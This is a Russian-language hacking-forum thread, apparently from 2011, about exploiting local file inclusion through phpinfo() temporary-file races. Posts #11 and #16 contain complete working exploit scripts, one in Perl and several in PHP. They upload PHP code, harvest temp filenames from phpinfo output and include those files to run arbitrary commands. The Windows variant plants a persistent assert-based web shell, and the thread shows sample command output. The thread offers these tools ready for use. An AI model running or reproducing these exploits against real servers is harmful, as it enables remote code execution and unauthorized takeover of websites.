Старый 13.07.2011, 23:40   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Немножко запарился юзать скрипт от ув. tipsy в первоначальном варианте, поэтому сделал несколько поудобнее, итак, изменения (т.к. один из наиболее часто используемых сплойтов):

1. Сам php-код вынесен теперь наверх и автоматически обрамляется "<?php ваш_код exit;?>" (точки с запятыми ставите сами в конце вашего кода). Т.е. теперь достаточно написать

system("ls -la");

2. Ответ теперь парсится регуляркой и возвращает только то, что делает ваш php-код, без кода страницы

3. Добавлена возможность сохранить результаты в файл (z_хост.txt, в той же папке, где и сплойт)

4. Добавлена возможность работать в интерактивном режиме (просто ввели сразу новый php-код и ENTER, без перезагрузки программы)

5. Сохранение tmp-файла теперь по выбору (либо да, либо нет, в некоторых случаях ненужное палево, я один раз забыл например и файло так и висело часа полтора, т.к. сразу побежал юзать шелл )


Соответственно несколько новых переменных в разделе Global settings:


$phpcode = 'system("uname -a");'; # без <?php и ?>, не надо "exit;"
$save_to_file = 1; # 1 - сохранить в файл z_host.txt, 0 - нет
$console = 1; # 1 - работать в терминале, 0 - нет, выйти после первого запроса
$keep_tmp_file = 0; #1 - Оставить $tmpfile, 0 - Нет

Пример работы:

Код:
Generating huge headers		[headers ready]
Setting buffer size		[1024]
Sending request			[request sent]
HTTP/1.1 200 OK
Reading.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Got filename: /tmp/php7InMZL
Including...


================= PHP CODE: =================
system("uname -a");


================= RESULTS: ==================

Linux srv 2.6.26-2-686 #1 SMP Thu Nov 25 01:53:57 UTC 2010 i686 GNU/Linux



=============================================

Type your PHP CODE or EXIT:
============================================
echo 12233450968;

Generating huge headers		[headers ready]
Setting buffer size		[1024]
Sending request			[request sent]
HTTP/1.1 200 OK
Reading.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Got filename: /tmp/phpsENBrx
Including...


================= PHP CODE: =================
echo 12233450968;


================= RESULTS: ==================

12233450968


=============================================

Type your PHP CODE or EXIT:
============================================
exit

by-by :)
pashkela@pashkela-desktop:~/Toolza/practic$
Измененный сплойт:

Код:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::Simple;
# GLOBAL SETTINGS 
$phpcode = 'system("uname -a");'; # no <?php and ?>, no "exit;"
$save_to_file = 1; # 1 - save to file z_host.txt, 0- no
$console = 1; # 1 - Work in terminal, 0 - no
$keep_tmp_file = 0; #1 - Keeping file $tmpfile in tmp, use it as long as you need it, 0 - No
$rcvbuf = 1024; # increase if script is running too slow. will be automatically doubled
$bigz = 3000; # 8000 - long line to create bottlenecks
$junkheaders = 30; # 1-90
$junkfiles = 40; #10 ~ 4Mb of overhead
$junkfilename = '>' x 100000;
###############################################################################################
$host = "";$path = ""; $flag = 0;
if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
get_tmp();

sub get_tmp {
   $|=1;
   START:
   if ($console ==1 && $flag == 1){
      print "\nType your PHP CODE or EXIT:\n============================================\n";
      $phpcode = <STDIN>;
      chomp $phpcode;
      if ($phpcode eq "exit" || $phpcode eq "EXIT") { print "\nby-by :)\n";exit}
   }
   if ($save_to_file == 1) {open( FILE, ">>" . "z_" .$host . ".txt" )} 
   print "\nGenerating huge headers\t\t";
   my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
   for(my $i=0; $i<$junkheaders; $i++) {
      $headers .= "z$i: $i\n";
   }
   $headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
   my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="tfile"; filename="test.html"
Content-Type: text/html

hello<br>
<?php echo "ussr";'.$phpcode.'echo "ussr";exit;?>
bye
-----------------------------59502863519624080131137623865--
';
   for (my $i=0; $i<$junkfiles; $i++) {
       $content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="ffile'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
   $headers .= length($content)."\n\n".$content;
   print "[headers ready]\n";
   my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
   setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
   sleep(1);
   print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
   unless ($remote) { die "cannot connect to http daemon on $host" }
   $remote->autoflush(1);
   print "Sending request\t\t\t";
   print $remote $headers;
   print "[request sent]\n";
   my $line = <$remote>;
   print $line;	
   print "Reading";
   while ( $line = <$remote> ) { 
      print ".";
      if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
	  my $tmpfile = $1;
	  print "\nGot filename: $tmpfile\n";
	  print "Including...\n";
          $inc = $ARGV[1]; #path to /etc/passwd 
          $inc =~ s#/etc/passwd#$tmpfile#;
          $flag = 1;  
          my $result = get($inc);
          if($result =~ m/ussr(.*?)ussr/imgs){
              print "\n\n================= PHP CODE: =================\n$phpcode\n"; 
              print "\n\n================= RESULTS: ==================\n\n$1\n"; 
              print "\n\n=============================================\n\n";
              if($save_to_file==1){print FILE $1 . "\n"}
          } else {
              print "\n\n================= CHECK PHP CODE (maybe error in code or some functions are disabled [system for example]): =================\n$phpcode\n"; 
              print "\n No results, exploit failed, sorry\n\n";
          }
          if ($keep_tmp_file == 1) { 
              print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
     	      while ($remote) {print ".\r";sleep 5};
          }
   	  close $remote;
      }
   }
   if ($save_to_file == 1) {close(FILE)}
   $flag = 1;
   if ($console ==1 && $flag == 1){ 
      goto START;
   } else {exit}
}

Последний раз редактировалось Pashkela; 14.07.2011 в 11:51..
Pashkela вне форума   Ответить с цитированием
Старый 06.09.2011, 09:06   #12
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Вышла статья.
Цитата:
@antic0de: http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf - How phpinfo() can assist the exploitation of LFI on PHP

Последний раз редактировалось SynQ; 06.09.2011 в 17:37..
SynQ вне форума   Ответить с цитированием
Старый 07.09.2011, 19:12   #13
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

Почищено и уехало в паблик, раз уж пендосы спалили
__________________
------------------

Последний раз редактировалось Jokester; 07.09.2011 в 19:16..
Jokester вне форума   Ответить с цитированием
Старый 07.09.2011, 21:34   #14
Redwood
 
Аватар для Redwood
 
Регистрация: 06.07.2010
Сообщений: 5
Репутация: 1
По умолчанию

В чем заключается приват? http://forum.antichat.ru/showthread.php?t=51096
Redwood вне форума   Ответить с цитированием
Старый 07.09.2011, 21:58   #15
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

Redwood
Приват или не приват решают люди которые пишут посты и администрация форума. Давайте дискуссии на эти темы оставим при себе. Если вы считаете что вам это не нужно, просто закройте тему и попробуйте проэксплуатировать теорию без реализации в коде которую описал Элект, остальные воспользуются готовыми оттестированными сплоитами которые выложены в этой теме
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 12.09.2011, 20:29   #16
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

При хорошей работе на nix`ах, не смог получить срабатывание на windows.
Беда не большая, поскольку работает вызов "php<<", но работает не везде (на IIS ни разу не сработало).

В результате экспериментов скрипт asddas мутировал в следующее:
LFI не проходит, т.к. к этому моменту tmp-файл уже не существует и продлить время его существования не удалось.

Вместо этого используем свойство windows, что при аплоаде, каждый последующий tmp-файл на единицу больше предыдущего, к примеру
php1A3E.tmp
php1A3F.tmp.

А чтобы загружаемый файл остался на сервере, нужно сформировать пакет, когда Content-Length больше реального размера передаваемых данных, тогда сокет будет ждать недостающие данные и даже когда отвалится, полученный файл еще некоторое время (вполне достаточное, чтобы его проинклудить и перезалить на постоянный) будет существовать.

Скрипт работает в два приема, на первом этапе грузим файл и читаем его через phpinfo().
На втором этапе формируем сбойный пакет, скрипт виснет, но файл с минишеллом благополучно остается на сервере.
Его имя, предположительно на 2 больше того, что прочитали на первом этапе.
Льем два файла, в первом минишелл (доходит целым), а вторым ступорим передачу.
PHP код:
<?php 
error_reporting
(E_ALL); 
$target 'http://localhost/i.php';     //Урл до phpinfo()
$temp parse_url($target); 
$host $temp['host']; 
$path $temp['path']; 
$post ''
$html ''
$tmp ''
echo 
$host,$path,'<br>';

//Evil 
$file="-----------------------------7d529a1d23092a\r\n"
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".mt_rand(0,1000).".txt\r\n"
$file.="Content-Type: text/plain\r\n\r\n"
$file.="<?php assert(stripslashes(\$_REQUEST[\"eid\"]));?>\r\n";
$file.="-----------------------------7d529a1d23092a\r\n"
$post .= $file
 
//Fake 
$file="-----------------------------7d529a1d23092a\r\n"
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".str_repeat('o',50000).mt_rand(0,1000).".txt\r\n"
$file.="Content-Type: text/plain\r\n\r\n"
$file.="fake\r\n"
$file.="-----------------------------7d529a1d23092a\r\n"
$post .= $file

$req ="POST ".$path." HTTP/1.0\r\n"
$req.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"
$req.="User-Agent: Googlebot/2.1\r\n"
$req.="Host: ".$host."\r\n"
$req.="Content-Length: ".strlen($post)."\r\n"
$req.="Connection: Close\r\n\r\n"
$req.= $post

$n1=retname($host,$req);    
echo 
'Прочитали файл','<br>',$n1,'<br>','<br>';
$n11=rethex($n1);
echo 
'Шелл залит в','<br>',str_replace($n11,sprintf("%X",'0x'.$n11+2),$n1),'<br><br>';
echo 
'Или проверьте','<br>',str_replace($n11,sprintf("%X",'0x'.$n11+4),$n1),'<br>',str_replace($n11,sprintf("%X",'0x'.$n11+6),$n1),'<br>','<br>';
echo 
'Если шелл не нашелся, повторите скрипт.','<br>';
flush();
$req=substr($req,0,strlen($req)-2);
retname($host,$req);

#-----------    
function retname($host,$req)
//    Вернет путь/имя темп-файла
{
$html='';$out='';$tmp '';
$sock socket_create (AF_INET,SOCK_STREAM,SOL_TCP); 
#socket_set_option($sock, SOL_SOCKET, SO_RCVBUF, 4096); 
socket_connect ($sock,$host,80); 
socket_write ($sock,$req); 
while (
$out socket_read($sock65536)) { 
    
$html .= $out;
    
preg_match_all('#=&gt;(.*)#',$html,$r); 
    if(!empty(
$r[0][2])){$tmp str_replace(array("=&gt;",' '),'',$r[0][2]);} 

socket_close($sock); 
return 
$tmp;
}
#-----------
function rethex($tmp)
// Вернет номер темп-файла
{
if(
strpos($tmp,':')){$path explode(':',$tmp);$tmp $path[1];}
if(
$tmp){preg_match('#php(.*)\.tmp#',$tmp,$rd);}
return 
$rd[1];
}
?>
Первоначально скрипт несколько раз читал имена загружаемых файлов, вычислял между ними разницу и, если она одинаковая - лил шелл. Но разница постоянно равнялась двум и проверку выкинул.

На выходе скрипт дает имена прочитанного на первом этапе файла и предположительное имя залитого шелла (на всякий случай три файла, на 2, 4, и 6 больше прочитанного). Когда имена появятся, зависший скрипт можно остановить.

Инклуд в скрипт не встроен, т.к. штатно он виснет, но и руками сделать не тяжело, времени вполне хватит.

=============
Upd

Можно встроить в оригинальный скрипт.
PHP код:
<?php 
error_reporting
(E_ALL); 
$cmd 'system("ps aux")';    //команда для выполнения
$target 'http://localhost/i.php'
$inc 'http://localhost/g.php?eid='.base64_encode($cmd).'&f=../../../../../../..'
$temp parse_url($target); 
$host $temp['host']; 
$path $temp['path']; 
$post ''
$html ''
$tmp ''
$sock 0;
$rg  3;    // 1-только инклуд; 2-инклуд затем шелл; 3-только шелл (режимы для винды)
print "Target host ".$host."<br>";flush(); 
print 
"Generating headers   ";flush(); 
     
//Evil 
$file="-----------------------------7d529a1d23092a\r\n"
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".mt_rand(0,1000).".txt\r\n"
$file.="Content-Type: text/plain\r\n\r\n"
$file.="<?php assert(base64_decode(\$_REQUEST[\"eid\"]));?>\r\n"
 
$file.="-----------------------------7d529a1d23092a\r\n"
$post .= $file
 
//Fake 
$file="-----------------------------7d529a1d23092a\r\n"
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".str_repeat('o',100000).mt_rand(0,1000).".txt\r\n"
$file.="Content-Type: text/plain\r\n\r\n"
$file.="fake\r\n"
$file.="-----------------------------7d529a1d23092a\r\n"
$post .= $file
     
$req ="POST ".$path." HTTP/1.0\r\n"
$req.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"
$req.="User-Agent: Googlebot/2.1\r\n"
$req.="Host: ".$host."\r\n"
$req.="Content-Length: ".strlen($post)."\r\n"
$req.="Connection: Close\r\n\r\n"
$req.= $post

print 
"[headers ready]<br>"
$tmp=retname($host,$req,$sc=0);$tmp2='';
if(
strpos($tmp,':')){$tmp2=$tmp;$path explode(':',$tmp);$tmp $path[1];} 
if((
$tmp && !$tmp2)||($tmp2 && $rg<3) ){  
    print 
"<br>Got filename: $tmp<br>";flush(); 
    print 
"Including...<br>";flush(); 
    print 
file_get_contents($inc.$tmp);flush(); 
}else {if(!
$tmp)print "Fail :(";}
socket_close($sock); 
if(
$tmp2 && $rg>1){
    
$n1=retname($host,$req,1);     
    echo 
'<br>Прочитали файл','<br>',$n1,'<br>','<br>'
    
$n11=rethex($n1); 
    echo 
'Шелл залит в','<br>',str_replace($n11,sprintf("%X",'0x'.$n11+2),$n1),'<br><br>'
    echo 
'Или проверьте','<br>',str_replace($n11,sprintf("%X",'0x'.$n11+4),$n1),'<br>',str_replace($n11,sprintf("%X",'0x'.$n11+6),$n1),'<br>','<br>'
    echo 
'Если шелл не нашелся, повторите скрипт.','<br>'
    
flush(); 
    
$req=substr($req,0,strlen($req)-2); 
    
retname($host,$req,1); 
}
#-----------     
function retname($host,$req,$sc=0
//    Вернет путь/имя темп-файла
{
global 
$sock;
$html='';$out='';$tmp ''
$sock socket_create (AF_INET,SOCK_STREAM,SOL_TCP);  
socket_set_option($sockSOL_SOCKETSO_RCVBUF4096);  
socket_connect ($sock,$host,80);  
socket_write ($sock,$req);  
while (
$out socket_read($sock4096)) {  
    
$html .= $out
    
preg_match_all('#=&gt;(.*)#',$html,$r);  
    if(!empty(
$r[0][2])){$tmp str_replace(array("=&gt;",' '),'',$r[0][2]);break;}  
}  
if(
$sc)socket_close($sock);  
return 
$tmp

#----------- 
function rethex($tmp
// Вернет номер темп-файла 

if(
strpos($tmp,':')){$path explode(':',$tmp);$tmp $path[1];} 
if(
$tmp){preg_match('#php(.*)\.tmp#',$tmp,$rd);} 
return 
$rd[1]; 
}             
?>
Для nix работа не изменилась, команду задаем в $cmd=

Для win есть три режима
$rg = 3; // 1-только инклуд; 2-инклуд затем шелл; 3-только шелл

Льется минишелл
PHP код:
<?php assert(base64_decode($_REQUEST["eid"]));?>
===========
Показалось, что отдельный вариант работает стабильней.

Последний раз редактировалось nikp; 14.09.2011 в 19:55.. Причина: upd
nikp вне форума   Ответить с цитированием
Старый 11.10.2011, 13:24   #17
ForeverFree
 
Регистрация: 11.10.2011
Сообщений: 24
Репутация: 0
По умолчанию

Здравствуйте!
Не могли бы вы написать требования для этой уязвимости? Правильно ли я понимаю что PHP ниже версии 5.1.6 не поддается данной уязвимости?
Спасибо!
ForeverFree вне форума   Ответить с цитированием
Старый 11.10.2011, 16:48   #18
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Информации по версиям php у меня нет (если у кого есть - поделитесь).

Но, так как главным требованием является наличие на уязвимом сайте phpinfo, то достаточно несложно посмотреть, разворачивает он массив $_FILES или нет.
tipsy вне форума   Ответить с цитированием
Старый 12.10.2011, 17:34   #19
ForeverFree
 
Регистрация: 11.10.2011
Сообщений: 24
Репутация: 0
По умолчанию

Я наверное тупой, но все же задам этот вопрос
Если мы должны запускать скрипт с сервера, но перед этим обрежем при помощи mod_bw траффик до 1б/сек, то как мы будем достукиваться до нашего сервера? Или использование mod_bw не влияет ни на что кроме php/perl ?
ForeverFree вне форума   Ответить с цитированием
Старый 12.10.2011, 18:43   #20
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Тема перемещена из привата как есть.
Вам нужны посты 2, 7, 11, 16.
tipsy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot